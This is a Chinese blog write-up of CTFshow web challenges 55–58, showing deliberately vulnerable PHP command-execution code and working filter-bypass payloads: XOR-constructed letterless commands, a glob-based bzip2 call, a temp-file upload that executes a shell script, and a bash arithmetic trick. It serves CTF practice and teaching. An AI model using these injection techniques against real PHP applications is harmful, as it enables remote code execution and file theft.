CTFshow web(php命令执行 55-59)

web55

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 20:03:51

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

遇到这类题目解法比较固定,这类题目一个解法是无字母RCE,运用自增和异或相关脚本构造system ls的另外形式,比如:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

CTFshow web(命令执行 41-44)-CSDN博客

我的上一篇文章有介绍,建议可以去看看

这里是另外的做法:

复制代码
利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.???    //对 flag.php 进行打包,默认打包后缀 bz2
接下来直接访问 url/flag.php.bz2,进行下载,获取 flag
直接等同于/usr/bin/bzip2 flag.php

题目知识点学习(牢牢掌握):

  1. /bin 目录:/bin 是系统的二进制目录之一,用于存放基本的执行命令。这些命令通常是系统启动和基本功能所必需的,因此在系统启动过程中就能访问到。

  2. 公用命令:/bin 目录存放了许多常用的命令,如 lscpmvrmmkdircat 等。这些命令用于完成文件和目录的管理、文本处理、文件传输等常见操作。

  3. 可执行文件:/bin 目录下的文件都是可执行文件,可以通过在命令行中输入命令来执行它们。

  4. 环境变量 PATH:在环境变量 PATH 中包含了一组目录的路径,其中包括 /bin 目录。这意味着当您在命令行中输入一个命令时,系统会自动搜索 /bin 目录以确认命令的可执行文件所在位置。

  5. 访问权限:/bin 目录下的文件通常有很高的访问权限,只有具有适当权限的用户才能对这些文件进行执行、读取或修改操作。通常,这些命令文件属于系统管理员(root)或具有特定权限的用户。

总结:其实过滤越多,越大的题目,看似面临着绝境,但其实也往往是机遇,因为这告诉你方向无非就两个:无回显RCE,以及/bin目录命令执行过滤,在过滤如此之大的时候其他方法都比较困难,这里掌握方法后直接套用就好了 。

web56

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

/bin 目录存放了许多常用的 Shell 命令,这些命令是通过 Shell 解释器来执行的,

其实也可以直接归属到shell命令里面,这里过滤的更恐怖数字字母都没有了,无回显RCE也很困难,这里直接使用shell命令

在linux里面临时存放文件的目录可能会被定时删除这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容

php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

直接上POSTman

payload:

?c=. /???/????????[@-[]

POSTman使用:

在Postman中上传文件的方法如下:

打开后变成POST,把网页复制然后点击Body,

点击file模式,自己选择上传的文件,然后把名字写进去,最后Send就好

文件内容:

#!/bin/sh

cat flag.php

web57

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-08 01:02:56

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 还能炫的动吗?

//flag in 36.php

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){

system("cat ".$c.".php");

}

}else{

highlight_file(FILE);

}

这里一句话:其实就是构造出36

问题是过滤了数字的情况下怎么弄出36

那就回到了无回显RCE问题了
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36再进行取反

//${_}会输出上一次的执行结果

payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 22:02:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

// 你们在炫技吗?

if(isset($_POST['c'])){

$c= $_POST['c'];

eval($c);

}else{

highlight_file(FILE);

}

这里好多了,其实就是一个禁用函数,我还是那句话,如果你不知道对面禁用了啥,那就一个一个地尝试!!!

可以看看我的一篇文章,有很多命令执行语句攻击总结

一篇文章带你进阶CTF命令执行-CSDN博客

一个个丢进去,看那个能够中奖吧,因为你不知道对面过滤了啥!

payload:

POST:c=echo file_get_contents('flag.php');

PS:真诚地希望我的文章能够帮助大家,今年过年也是如约抽空更新了,祝愿各位龙年吉祥,谢谢!

相关推荐
秃头佛爷6 分钟前
Python学习大纲总结及注意事项
开发语言·python·学习
待磨的钝刨8 分钟前
【格式化查看JSON文件】coco的json文件内容都在一行如何按照json格式查看
开发语言·javascript·json
XiaoLeisj2 小时前
【JavaEE初阶 — 多线程】单例模式 & 指令重排序问题
java·开发语言·java-ee
励志成为嵌入式工程师3 小时前
c语言简单编程练习9
c语言·开发语言·算法·vim
捕鲸叉4 小时前
创建线程时传递参数给线程
开发语言·c++·算法
A charmer4 小时前
【C++】vector 类深度解析:探索动态数组的奥秘
开发语言·c++·算法
Peter_chq4 小时前
【操作系统】基于环形队列的生产消费模型
linux·c语言·开发语言·c++·后端
记录成长java5 小时前
ServletContext,Cookie,HttpSession的使用
java·开发语言·servlet
前端青山5 小时前
Node.js-增强 API 安全性和性能优化
开发语言·前端·javascript·性能优化·前端框架·node.js
睡觉谁叫~~~5 小时前
一文解秘Rust如何与Java互操作
java·开发语言·后端·rust